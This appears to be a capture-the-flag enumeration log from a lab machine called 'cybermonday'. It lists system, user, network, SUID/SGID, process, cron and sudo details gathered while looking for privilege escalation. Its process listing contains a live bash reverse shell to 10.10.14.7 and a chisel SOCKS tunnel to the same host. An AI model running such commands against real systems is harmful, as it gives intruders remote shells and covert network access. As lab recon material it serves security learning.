System/Kernel


john@cybermonday:~$ file /bin/bash ; uname -a ; cat /etc/*release
/bin/bash: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=31c321f9f0c1f86a379f7efaaeb75f707998f27f, for GNU/Linux 3.2.0, stripped
Linux cybermonday 5.10.0-24-amd64 #1 SMP Debian 5.10.179-5 (2023-08-08) x86_64 GNU/Linux
PRETTY_NAME="Debian GNU/Linux 11 (bullseye)"
NAME="Debian GNU/Linux"
VERSION_ID="11"
VERSION="11 (bullseye)"
VERSION_CODENAME=bullseye
ID=debian
home_url="https://www.debian.org/"
support_url="https://www.debian.org/support"
bug_report_url="https://bugs.debian.org/"

5.10.0-24-amd64 Debian GNU/Linux 11 (bullseye) x86_64

Networks


john@cybermonday:~$ netstat -antup4
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:38219         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0    376 10.10.11.228:22         10.10.14.12:54624       ESTABLISHED -                   
udp        0      0 10.10.11.228:48032      8.8.8.8:53              ESTABLISHED -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -                   

127.0.0.1:38219

Users & Groups


john@cybermonday:~$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
john:x:1000:1000:john,,,:/home/john:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
total 12K
4.0k drwxr-xr-x 18 root root 4.0k aug 16 00:09 ..
4.0k drwxr-xr-x  3 root root 4.0k aug  3 05:51 .
4.0k drwxr-xr-x  5 john john 4.0k aug  3 05:51 john
john@cybermonday:~$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=101(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=102(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=103(messagebus) gid=109(messagebus) groups=109(messagebus)
uid=104(systemd-timesync) gid=110(systemd-timesync) groups=110(systemd-timesync)
uid=105(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=1000(john) gid=1000(john) groups=1000(john)
uid=999(systemd-coredump) gid=999(systemd-coredump) groups=999(systemd-coredump)
uid=998(_laurel) gid=998(_laurel) groups=998(_laurel)

SUIDs


john@cybermonday:~$ find / -perm -04000 -ls -type f 2>/dev/null
   280275     52 -rwsr-xr--   1 root     messagebus    51336 Oct  5  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   288660    472 -rwsr-xr-x   1 root     root         481608 Jul  1  2022 /usr/lib/openssh/ssh-keysign
   263182     44 -rwsr-xr-x   1 root     root          44632 Feb  7  2020 /usr/bin/newgrp
   259684     60 -rwsr-xr-x   1 root     root          58416 Feb  7  2020 /usr/bin/chfn
   259688     64 -rwsr-xr-x   1 root     root          63960 Feb  7  2020 /usr/bin/passwd
   259687     88 -rwsr-xr-x   1 root     root          88304 Feb  7  2020 /usr/bin/gpasswd
   263708     56 -rwsr-xr-x   1 root     root          55528 Jan 20  2022 /usr/bin/mount
   259685     52 -rwsr-xr-x   1 root     root          52880 Feb  7  2020 /usr/bin/chsh
   318638    180 -rwsr-xr-x   1 root     root         182600 Jan 14  2023 /usr/bin/sudo
   263710     36 -rwsr-xr-x   1 root     root          35040 Jan 20  2022 /usr/bin/umount
   307189     36 -rwsr-xr-x   1 root     root          34896 Feb 26  2021 /usr/bin/fusermount
   263341     72 -rwsr-xr-x   1 root     root          71912 Jan 20  2022 /usr/bin/su

SGIDs


john@cybermonday:~$ find / -perm -02000 -ls -type f 2>/dev/null
   130512      4 drwxr-sr-x   3 root     systemd-journal     4096 may 29 11:12 /var/log/journal
   132960      4 drwxr-sr-x   2 root     systemd-journal     4096 aug 16 00:09 /var/log/journal/c3028ba2ba094a8e885974e9d85db344
   130152      4 drwxrwsr-x   2 root     mail                4096 may 29 11:07 /var/mail
   130046      4 drwxrwsr-x   2 root     staff               4096 apr  2 07:55 /var/local
   261102     36 -rwxr-sr-x   1 root     tty                35048 Jan 20  2022 /usr/bin/wall
   280307     24 -rwxr-sr-x   1 root     tty                22760 Jan 20  2022 /usr/bin/write.ul
   285422     24 -rwxr-sr-x   1 root     mail               23040 Feb  4  2021 /usr/bin/dotlockfile
   259683     80 -rwxr-sr-x   1 root     shadow             80256 Feb  7  2020 /usr/bin/chage
   259686     32 -rwxr-sr-x   1 root     shadow             31160 Feb  7  2020 /usr/bin/expiry
   288653    348 -rwxr-sr-x   1 root     ssh               354440 Jul  1  2022 /usr/bin/ssh-agent
   265259     44 -rwxr-sr-x   1 root     crontab            43568 Feb 22  2021 /usr/bin/crontab
   259668     40 -rwxr-sr-x   1 root     shadow             38912 Aug 26  2021 /usr/sbin/unix_chkpwd
      442      0 drwxr-sr-x   2 root     systemd-journal       40 aug 23 08:15 /run/log/journal

Processes


john@cybermonday:~$ ps -auxwww
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.2 163848 10128 ?        Ss   08:15   0:02 /sbin/init
root         322  0.0  1.3  93460 53584 ?        Ss   08:15   0:03 /lib/systemd/systemd-journald
root         344  0.0  0.1  21320  4988 ?        Ss   08:15   0:00 /lib/systemd/systemd-udevd
systemd+     383  0.0  0.1  88436  5996 ?        Ssl  08:15   0:00 /lib/systemd/systemd-timesyncd
root         384  0.0  0.2  47740 10448 ?        Ss   08:15   0:00 /usr/bin/VGAuthService
root         385  0.1  0.1 163076  7596 ?        Ssl  08:15   0:06 /usr/bin/vmtoolsd
root         387  0.0  0.0  87136  2804 ?        S<sl 08:15   0:02 /sbin/auditd
_laurel      389  0.0  0.1  10236  6440 ?        S<   08:15   0:01 /usr/local/sbin/laurel --config /etc/laurel/config.toml
root         426  0.0  0.0   6744  2688 ?        Ss   08:15   0:00 /usr/sbin/cron -f
message+     427  0.0  0.1   8388  4604 ?        Ss   08:15   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root         429  0.0  0.1 220796  6284 ?        Ssl  08:15   0:00 /usr/sbin/rsyslogd -n -iNONE
root         430  0.0  0.1 112192  7004 ?        Ss   08:15   0:00 /lib/systemd/systemd-logind
root         586  0.0  0.1  99884  5772 ?        Ssl  08:15   0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root         638  0.0  0.0   5844  1680 tty1     Ss+  08:15   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root         640  0.1  1.0 1337352 43604 ?       Ssl  08:15   0:05 /usr/bin/containerd
root         641  0.0  0.1  13352  7756 ?        Ss   08:15   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root         650  0.1  2.5 1964460 100424 ?      Ssl  08:15   0:05 /usr/sbin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root         866  0.0  0.5 1451556 20532 ?       Sl   08:15   0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id a2cbf3bec8671c8528a164b8306906e75238c73085e3fccece18c027b19d6c7b -address /run/containerd/containerd.sock
root         867  0.0  0.5 1451812 20148 ?       Sl   08:15   0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id e9eb887a4ca9302be2da7a4db8f3d80427e1c947e1825ddde28598c4fce55049 -address /run/containerd/containerd.sock
root         913  0.0  0.5 1451556 20204 ?       Sl   08:15   0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 743ed0a8f73d84a489f2d1c5701b684d3addf5dc77b65419142ecc6589bbb996 -address /run/containerd/containerd.sock
root         959  0.0  0.6 728768 24832 ?        Ssl  08:15   0:01 registry serve /etc/docker/registry/config.yml
systemd+     960  0.2  0.3 131036 14380 ?        Ssl  08:15   0:11 redis-server *:6379
systemd+     968  1.1 10.9 1773352 433872 ?      Ssl  08:15   0:57 mysqld
root         987  0.0  0.5 1451812 21688 ?       Sl   08:15   0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id e1862f4e124272b72bdab533b228c0daa43fd4238a80f388712eed7146b20b49 -address /run/containerd/containerd.sock
root        1009  0.0  0.5 1451812 20256 ?       Sl   08:15   0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 070370e2cdc4a146383b5775f4e3956d88d0f7b95630643959250bccc48501f3 -address /run/containerd/containerd.sock
root        1014  0.0  0.3 1074816 12840 ?       Sl   08:15   0:00 /usr/sbin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 80 -container-ip 172.18.0.6 -container-port 80
root        1028  0.0  0.7 154912 28436 ?        Ss   08:15   0:00 php -S 0.0.0.0:80 -t public
root        1055  0.0  0.4 1451812 19816 ?       Sl   08:15   0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id d91450e894dfc269bb30ea0f4b4f09905f9c7265275c5e8c6bf7d4eff36b801d -address /run/containerd/containerd.sock
root        1078  0.0  0.6  81172 24720 ?        Ss   08:15   0:00 php-fpm: master process (/usr/local/etc/php-fpm.conf)
root        1101  0.0  0.1  11524  7716 ?        Ss   08:15   0:00 nginx: master process nginx -g daemon off;
systemd+    1418  0.0  0.0  12028  3964 ?        S    08:15   0:00 nginx: worker process
systemd+    1419  0.0  0.1  12028  4116 ?        S    08:15   0:00 nginx: worker process
www-data    1421  0.0  0.9 100348 35804 ?        S    08:15   0:01 php-fpm: pool www
www-data    1422  0.0  0.8  98408 34356 ?        S    08:15   0:02 php-fpm: pool www
www-data    1674  0.0  0.0   2576   892 ?        S    09:20   0:00 sh -c bash -c 'bash -i >& /dev/tcp/10.10.14.7/8888 0>&1'
www-data    1675  0.0  0.0   3924  2940 ?        S    09:20   0:00 bash -c bash -i >& /dev/tcp/10.10.14.7/8888 0>&1
www-data    1676  0.0  0.0   4188  3516 ?        S    09:20   0:00 bash -i
www-data    1697  0.5  0.4 710712 16148 ?        Sl   09:28   0:03 ./chisel client --max-retry-count 5 10.10.14.7:9999 R:1080:socks
root        1707  0.0  0.2  14716  8868 ?        Ss   09:33   0:00 sshd: john [priv]
john        1710  0.0  0.2  15284  8920 ?        Ss   09:33   0:00 /lib/systemd/systemd --user
john        1711  0.0  0.0 166804  2716 ?        S    09:33   0:00 (sd-pam)
john        1721  0.0  0.1  14716  5852 ?        S    09:33   0:00 sshd: john@pts/0
john        1722  0.0  0.1   8164  4892 pts/0    Ss   09:33   0:00 -bash
root        1776  0.1  0.2  14512  8784 ?        Ss   09:37   0:00 sshd: john [priv]
john        1787  0.1  0.1  14712  6116 ?        S    09:37   0:00 sshd: john@pts/1
john        1788  0.5  0.1   8672  5272 pts/1    Ss+  09:37   0:00 -bash
john        1795  0.0  0.0   9944  3464 pts/0    R+   09:37   0:00 ps -auxwww

/usr/sbin/cron -f /usr/sbin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock registry serve /etc/docker/registry/config.yml redis-server *:6379 /usr/sbin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 80 -container-ip 172.18.0.6 -container-port 80 php -S 0.0.0.0:80 -t public

Cron & Systemd


john@cybermonday:~$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for john
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
 
SHELL=/bin/sh
path=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
 
# example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
NEXT                        LEFT          LAST                        PASSED               UNIT                         ACTIVATES
wed 2023-08-23 09:46:55 EDT 6min left     Mon 2023-07-03 11:27:44 EDT 1 months 20 days ago fstrim.timer                 fstrim.service
wed 2023-08-23 12:56:39 EDT 3h 15min left Sat 2023-07-01 22:13:34 EDT 1 months 22 days ago apt-daily.timer              apt-daily.servi>
thu 2023-08-24 00:00:00 EDT 14h left      Wed 2023-08-23 08:15:20 EDT 1h 25min ago         logrotate.timer              logrotate.servi>
thu 2023-08-24 00:00:00 EDT 14h left      Wed 2023-08-23 08:15:20 EDT 1h 25min ago         man-db.timer                 man-db.service
thu 2023-08-24 06:19:36 EDT 20h left      Wed 2023-08-23 08:28:59 EDT 1h 11min ago         apt-daily-upgrade.timer      apt-daily-upgra>
thu 2023-08-24 08:30:18 EDT 22h left      Wed 2023-08-23 08:30:18 EDT 1h 10min ago         systemd-tmpfiles-clean.timer systemd-tmpfile>
sun 2023-08-27 03:10:42 EDT 3 days left   Wed 2023-08-23 08:15:48 EDT 1h 24min ago         e2scrub_all.timer            e2scrub_all.ser>
 
7 timers listed.
Pass --all to see loaded but inactive timers, too.
lines 1-11/11 (END)

Sudo Version


john@cybermonday:~$ sudo --version
Sudo version 1.9.5p2
Sudoers policy plugin version 1.9.5p2
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.5p2
Sudoers audit plugin version 1.9.5p2

Sudo version 1.9.5p2

Glibc Version


john@cybermonday:~$ ldd --version
ldd (Debian GLIBC 2.31-13+deb11u6) 2.31
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

ldd (Debian GLIBC 2.31-13+deb11u6) 2.31